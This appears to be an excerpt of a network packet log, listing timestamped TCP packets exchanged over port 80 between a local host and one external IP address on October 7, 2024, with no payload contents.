Oct 7, 2024 18:43:28.640089035 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.640114069 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.640115023 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.640115023 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.640124083 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.640134096 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.640136957 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.640142918 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.640151978 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.640161037 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.640161991 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.640161991 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.640171051 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.640172958 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.640180111 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.640189886 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.640201092 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.640206099 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.640208006 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.640214920 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.640217066 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.640218019 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.640219927 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.640258074 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.640388966 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.733448982 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.733465910 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.733475924 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.733568907 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.733580112 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.733591080 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.733594894 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.733602047 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.733623028 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.733840942 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.734780073 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.734791040 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.734802008 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.734854937 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.734854937 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.734911919 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.734921932 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.734930992 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.734941006 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.734987974 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.734987974 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.737087965 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.737097025 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.737107038 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.737152100 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.737152100 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.737238884 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.737248898 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.737258911 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.737268925 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.737278938 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.737281084 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.737299919 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.739132881 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.775532961 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.775692940 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.775703907 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.775713921 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.775724888 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.775734901 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.775747061 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.775773048 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.775827885 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.783839941 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.783853054 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.783879995 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.783890963 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.783901930 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.783927917 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.784032106 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.784043074 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.784053087 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.784063101 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.784066916 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.784074068 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.784085035 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.784087896 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.784090996 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.784122944 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.784235954 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.784246922 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.784255981 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.784264088 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.784266949 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.784288883 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.784288883 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.784297943 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.784305096 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.784332037 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.784370899 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.784382105 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.784392118 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.784399033 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.784403086 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.784413099 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.784415007 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.784425974 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.784431934 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.784436941 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.784462929 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.784687996 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.784699917 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.784714937 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.784717083 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.784742117 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.784806013 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.784822941 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.784832954 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.784842968 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.784847975 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.784853935 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.784863949 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.784873962 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.784878016 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.784897089 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.784929991 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.784929991 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.785703897 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.785716057 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.785726070 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.785752058 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.785778046 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.785835981 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.785849094 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.785866976 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.785868883 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.785902023 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.785902023 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.785914898 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.785926104 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.785933971 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.785942078 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.785943985 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.785953999 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.785959005 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.785963058 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.785978079 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.786565065 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.786591053 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.786736012 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.786746025 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.786751032 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.786755085 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.786763906 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.786765099 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.786773920 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.786782980 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.786788940 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.786808014 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.787420988 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.788161039 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.788187981 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.788198948 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.788260937 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.788260937 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.788364887 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.788376093 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.788387060 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.788397074 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.788405895 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.788415909 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.788425922 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.788429976 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.788450003 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.788453102 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.788474083 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.788476944 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.788487911 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.788497925 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.788501024 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.788507938 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.788518906 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.788522005 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.788530111 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.788541079 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.788549900 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.788558006 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.788558006 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.788561106 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.788573027 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.788583040 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.788585901 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.788593054 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.788619995 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.788619995 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.788722992 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.788733959 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.788743973 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.788748980 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.788754940 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.788764954 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.788767099 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.788805962 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.788805962 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.877852917 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.877868891 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.877878904 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.877888918 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.877899885 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.877908945 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.877918005 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.877928019 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.877932072 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.877954960 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.878024101 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.879229069 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.879416943 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.879426003 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.879431963 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.879435062 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.879445076 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.879455090 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.879463911 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.879465103 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.879515886 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.879524946 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.879534006 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.879537106 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.879543066 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.879553080 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.879554033 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.879560947 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.879570961 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.879585028 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.879626989 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.879652977 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.879750967 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.899107933 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.899118900 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.899127960 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.899138927 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.899148941 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.899158001 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.899168015 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.899178028 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.899193048 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.899244070 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.899244070 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.901211977 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.901314020 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.901324987 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.901335001 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.901357889 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.901360035 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.901374102 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.901385069 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.901386976 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.901395082 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.901397943 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.901405096 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.901415110 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.901421070 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.901424885 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.901451111 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.901452065 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.901451111 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.901467085 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.901504040 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.901504040 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.901527882 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.901539087 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.901550055 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.901560068 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.901571035 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.901581049 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.901592970 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.901606083 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.901606083 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.901614904 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.901618004 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.901626110 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.901635885 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.901635885 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.901659966 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.901669979 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.901676893 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.901676893 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.901679993 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.901689053 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.901690006 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.901726007 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.901726007 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.901881933 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.901891947 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.901901960 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.901937008 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.901947021 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.901957035 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.901962042 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.901971102 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.901990891 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.902000904 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.902003050 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.902003050 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.902009964 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.902020931 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.902020931 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.902036905 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.902079105 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.902089119 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.902103901 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.902343988 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.902347088 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.902358055 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.902368069 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.902391911 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.902406931 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.902406931 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.902702093 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.902723074 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.902745008 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.902748108 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.902766943 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.902807951 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.902827024 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.902831078 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.902844906 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.902846098 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.902859926 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.902873039 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.902877092 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.902888060 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.902903080 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.902915955 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.902919054 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.902935028 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.902968884 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.902990103 CEST	80	49742	95.164.90.97	192.168.2.4
